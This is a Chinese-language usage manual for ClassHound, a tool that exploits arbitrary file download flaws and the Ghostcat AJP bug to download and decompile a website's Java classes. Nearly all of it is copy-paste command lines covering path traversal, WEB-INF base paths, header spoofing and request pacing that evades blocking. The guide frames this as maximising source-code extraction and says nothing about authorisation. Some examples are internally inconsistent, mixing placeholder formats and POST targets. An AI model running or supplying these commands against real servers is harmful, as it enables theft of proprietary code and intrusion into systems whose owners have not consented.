ClassHound参数配置完全手册:-u/-k/-p等20+参数使用技巧
【免费下载链接】ClassHound利用任意文件下载漏洞循环下载反编译 Class 文件获得网站 Java 源代码项目地址: https://gitcode.com/gh_mirrors/cl/ClassHound
ClassHound是一款利用任意文件下载漏洞循环下载反编译Class文件以获取网站Java源代码的专业工具。本文将详细介绍其20+核心参数的配置方法与使用技巧,帮助你快速掌握这款强大工具的使用。
基础必选参数
-u/--url:目标URL设置
功能:指定完整的下载URL,文件路径需用分隔符包围
示例:python classhound.py -u "http://127.0.0.1/download.jsp?path=images/#1.png#"
说明:URL中的#1.png#是文件路径占位符,实际使用时会被工具自动替换为遍历路径
-k/--keyword:404页面关键词
功能:设置用于识别404错误页面的关键词
使用场景:当目标服务器返回非标准404状态码时,通过关键词精准判断文件是否存在
示例:python classhound.py -u "http://target.com/file?path=#FILE#" -k "页面不存在"
-p/--post:POST数据配置
功能:指定POST请求数据,文件路径需用分隔符包围
示例:python classhound.py -u "http://target.com/upload" -p "file=upload.txt#&submit=1"
说明:适用于通过POST方式提交文件下载请求的场景
文件下载控制参数
-f/--file:URL列表文件
功能:指定包含多个下载URL路径的列表文件
搭配参数:-a/--auto(自动检测并调整遍历字符数)
示例:python classhound.py -f url_list.txt -a
文件格式:每行一个URL模板,如:http://target.com/download?path=#FILE#http://target.com/getfile?f=#FILE#
-s/--sleep-time:请求间隔控制
功能:设置两次请求之间的等待时间(秒)
适用场景:避免请求过于频繁被目标服务器拦截
示例:python classhound.py -u "http://target.com/file?path=#FILE#" -s 2
建议值:根据目标服务器响应情况设置1-5秒
路径遍历参数
-bp/--base-path:基础路径设置
功能:设置/WEB-INF文件夹的前缀Web路径,默认值为"/"
高级用法:当目标应用部署在非根目录时使用
示例:python classhound.py -u "http://target.com/app/download?path=#FILE#" -bp "/app/"python classhound.py -bp "opt/tomcat/webapps/ROOT/"
-tc/--travel-char:遍历字符设置
功能:指定用于路径遍历的字符序列(如../)
示例:python classhound.py -u "http://target.com/file?path=#FILE#" -tc "../"
说明:默认会自动尝试常见路径遍历字符组合
-cc/--char-count:遍历字符数量
功能:设置路径遍历字符的重复次数
搭配参数:-mc/--max-count(最大尝试次数)
示例:python classhound.py -u "http://target.com/file?path=#FILE#" -cc 5 -mc 10
请求配置参数
-dc/--delimiter-char:分隔符设置
功能:指定包围文件路径的分隔符字符,默认值为#
适用场景:当URL中已包含#字符时需修改
示例:python classhound.py -u "http://target.com/file?path=$1.txt$" -dc "$"
-hh/--http-header:HTTP头配置
功能:添加自定义HTTP请求头
格式:使用逗号分隔多个头信息
示例:python classhound.py -u "http://target.com/file?path=#FILE#" -hh "Referer:http://target.com,User-Agent:Mozilla/5.0,admin:true"
-hp/--http-proxy:代理设置
功能:配置HTTP/HTTPS代理
示例:python classhound.py -u "http://target.com/file?path=#FILE#" -hp "http://127.0.0.1:8080"
漏洞利用参数
-vul/--vulnerability:漏洞类型选择
功能:指定使用其他漏洞类型进行文件下载
当前支持:ghostcat(幽灵猫漏洞)
示例:python classhound.py -u "http://target.com" -vul ghostcat --ajp-port 8009
--ajp-port:AJP端口设置
功能:指定Ghostcat漏洞的AJP端口,默认值为8009
示例:python classhound.py -vul ghostcat --ajp-port 8010
实战配置示例
基础URL遍历模式
python classhound.py -u "http://target.com/download?path=images/#FILE#" -k "Not Found" -s 1 -cc 6POST请求模式
python classhound.py -u "http://target.com/upload" -p "file=upload&#FILE#&submit=1" -k "文件不存在" -dc "#"Ghostcat漏洞利用
python classhound.py -u "http://target.com" -vul ghostcat --ajp-port 8009 -bp "/WEB-INF/" -mc 10批量URL文件模式
python classhound.py -f url_list.txt -a -s 2 -hh "Referer:http://target.com"参数优先级说明
- 命令行直接指定的参数优先于配置文件
-f/--file参数会覆盖-u/--url的设置--ajp-port仅在-vul ghostcat时生效-a/--auto会自动调整-cc/--char-count参数
通过合理组合以上参数,你可以灵活应对各种Java Web应用的文件下载场景。建议根据目标服务器的实际情况,从基础参数开始逐步调整高级配置,以达到最佳的源代码获取效果。
【免费下载链接】ClassHound利用任意文件下载漏洞循环下载反编译 Class 文件获得网站 Java 源代码项目地址: https://gitcode.com/gh_mirrors/cl/ClassHound
创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考